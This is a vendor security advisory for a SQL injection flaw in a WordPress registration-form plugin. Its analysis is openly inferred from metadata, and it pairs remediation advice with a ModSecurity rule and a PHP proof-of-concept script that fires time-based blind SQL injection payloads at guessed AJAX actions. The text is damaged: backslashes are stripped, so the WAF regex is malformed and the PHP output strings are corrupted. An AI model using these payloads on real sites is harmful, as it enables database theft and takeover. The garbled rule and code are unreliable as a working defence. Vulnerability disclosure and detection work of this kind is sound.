Atomic Edge analysis of CVE-2026-24373 (metadata-based):
This vulnerability is a critical security flaw in the Custom Registration Form Builder with Submission Manager WordPress plugin. The vulnerability allows unauthenticated attackers to execute arbitrary SQL commands on the underlying database. The flaw resides in the plugin’s form submission or data management handlers, which fail to properly sanitize user-supplied input before using it in SQL queries.
Atomic Edge research indicates the root cause is a lack of prepared statements and insufficient input validation in one or more SQL query constructions. The plugin likely uses user-controlled parameters directly in SQL queries via the `$wpdb->query()`, `$wpdb->get_results()`, or similar methods without proper escaping or parameterization. This conclusion is inferred from the CWE classification and the vulnerability description, which explicitly state SQL injection. No source code diff is available to confirm the exact vulnerable function.
Exploitation likely targets the plugin’s AJAX endpoints for handling form submissions or managing registration data. Attackers would send crafted POST requests to `/wp-admin/admin-ajax.php` with a malicious SQL payload in a parameter like `form_data`, `field_id`, or `submission_id`. The AJAX action parameter would be `crf_` or `custom_registration_form_` prefixed, based on the plugin slug. A payload might inject a UNION SELECT to extract user credentials or database information.
Remediation requires implementing proper SQL parameterization using WordPress’s `$wpdb->prepare()` method for all database queries. The plugin must validate and sanitize all user inputs before database interaction. Input validation should use allow-lists for expected values, and escaping should be applied contextually. The fix must also include capability checks for any administrative database operations.
Successful exploitation grants attackers full read access to the WordPress database. This leads to exposure of sensitive data including user credentials (hashed passwords), personal information from registration forms, and potentially administrative session tokens. Attackers can also write to the database, enabling privilege escalation, creation of administrative accounts, or website defacement by modifying site content.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-24373 (metadata-based)
# This rule blocks SQL injection attempts targeting the Custom Registration Form Builder plugin's AJAX handlers.
# The rule matches the specific AJAX endpoint and common parameter names used by this plugin.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202624373,phase:2,deny,status:403,chain,msg:'CVE-2026-24373: SQL Injection in Custom Registration Form Builder plugin',severity:'CRITICAL',tag:'CVE-2026-24373',tag:'WordPress',tag:'Plugin',tag:'SQLi'"
SecRule ARGS_POST:action "@rx ^(crf_|custom_registration_form_)"
"chain,t:none"
SecRule ARGS_POST "@rx (?i)(?:sleep(s*d+s*)|benchmark(|waitfors+delays+'|pg_sleep(|bunions+selectb|selects+.*from|inserts+into|updates+.*set|deletes+from)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24373 - Custom Registration Form Builder with Submission Manager SQL Injection
<?php
/**
* Proof-of-concept for CVE-2026-24373 (metadata-based inference).
* Assumes the vulnerability exists in an AJAX handler for form submissions.
* The exact action name is inferred from common plugin naming patterns.
* This script demonstrates time-based blind SQL injection detection.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Common AJAX action prefixes for this plugin slug
$possible_actions = [
'crf_submit_form',
'custom_registration_form_submit',
'crf_get_submissions',
'crf_ajax_handler'
];
// Time-based SQL injection payload
$payloads = [
'submission_id' => "1' AND SLEEP(5) AND '1'='1",
'form_id' => "1' AND SLEEP(5) AND '1'='1",
'field_id' => "1' AND SLEEP(5) AND '1'='1",
'data' => "' OR SLEEP(5) OR '"
];
echo "[+] Testing for CVE-2026-24373 SQL Injectionn";
echo "[+] Target: $target_urlnn";
foreach ($possible_actions as $action) {
echo "[*] Testing AJAX action: $actionn";
foreach ($payloads as $param => $payload) {
$post_data = [
'action' => $action,
$param => $payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
echo "[!] POTENTIAL VULNERABILITY DETECTEDn";
echo " Action: $actionn";
echo " Parameter: $paramn";
echo " Response time: {$elapsed}sn";
echo " Payload: {$payload}nn";
}
curl_close($ch);
usleep(200000); // 200ms delay between requests
}
}
echo "[+] Scan complete.n";
?>
